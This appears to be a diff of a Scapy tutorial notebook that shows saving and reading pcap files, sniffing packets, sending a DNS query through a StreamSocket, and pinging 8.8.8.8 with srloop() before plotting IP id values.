- "<Ether dst=f4:ce:46:a9:e0:4b src=34:95:db:04:3c:29 type=IPv4 |<IP version=4L ihl=5L tos=0x0 len=61 id=1 flags= frag=0L ttl=5 proto=udp chksum=0xb6e3 src=192.168.46.20 dst=8.8.8.8 options=[] |<UDP sport=domain dport=domain len=41 chksum=0xb609 |<DNS id=0 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR qname='www.example.com.' qtype=A qclass=IN |> an=None ns=None ar=None |>>>>"
- ]
- },
- "execution_count": 50,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "wrpcap(\"scapy.pcap\", r)\n",
- "\n",
- "pcap_p = rdpcap(\"scapy.pcap\")\n",
- "pcap_p[0]"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Sniffing the network is a straightforward as sending and receiving packets. The `sniff()` function returns a list of Scapy packets, that can be manipulated as previously described."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 52,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/plain": [
- "<Sniffed: TCP:0 UDP:2 ICMP:0 Other:0>"
- ]
- },
- "execution_count": 52,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "s = sniff(count=2)\n",
- "s"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "`sniff()` has many arguments. The `prn` one accepts a function name that will be called on received packets. Using the `lambda` keyword, Scapy could be used to mimic the `tshark` command behavior."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 53,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "Ether / IP / TCP 172.20.10.2:52664 > 216.58.208.200:https A\n",
- "Ether / IP / TCP 216.58.208.200:https > 172.20.10.2:52664 A\n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "<Sniffed: TCP:2 UDP:0 ICMP:0 Other:0>"
- ]
- },
- "execution_count": 53,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "sniff(count=2, prn=lambda p: p.summary())"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Alternatively, Scapy can use OS sockets to send and receive packets. The following example assigns an UDP socket to a Scapy `StreamSocket`, which is then used to query www.example.com IPv4 address.\n",
- "Unlike other Scapy sockets, `StreamSockets` do not require root privileges."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 79,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "Received 1 packets, got 1 answers, remaining 0 packets\n",
- "Begin emission:\n",
- "Finished to send 1 packets.\n"
- ]
- },
- {
- "data": {
- "text/plain": [
- "<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L ad=0L cd=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname='www.example.com.' qtype=A qclass=IN |> an=<DNSRR rrname='www.example.com.' type=A rclass=IN ttl=19681 rdata='93.184.216.34' |> ns=None ar=None |>"
- ]
- },
- "execution_count": 79,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "import socket\n",
- "\n",
- "sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # create an UDP socket\n",
- "sck.connect((\"8.8.8.8\", 53)) # connect to 8.8.8.8 on 53/UDP\n",
- "\n",
- "# Create the StreamSocket and gives the class used to decode the answer\n",
- "ssck = StreamSocket(sck)\n",
- "ssck.basecls = DNS\n",
- "\n",
- "# Send the DNS query\n",
- "ssck.sr1(DNS(rd=1, qd=DNSQR(qname=\"www.example.com\")))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Visualization\n",
- "Parts of the following examples require the [matplotlib](http://matplotlib.org/) module."
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "With `srloop()`, we can send 100 ICMP packets to 8.8.8.8 and 8.8.4.4."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 25,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": []
- }
- ],
- "source": [
- "ans, unans = srloop(IP(dst=[\"8.8.8.8\", \"8.8.4.4\"])/ICMP(), inter=.1, timeout=.1, count=100, verbose=False)"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "Then we can use the results to plot the IP id values."
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 26,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "image/png": "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\ntUA14BWgM3AycKOZnbj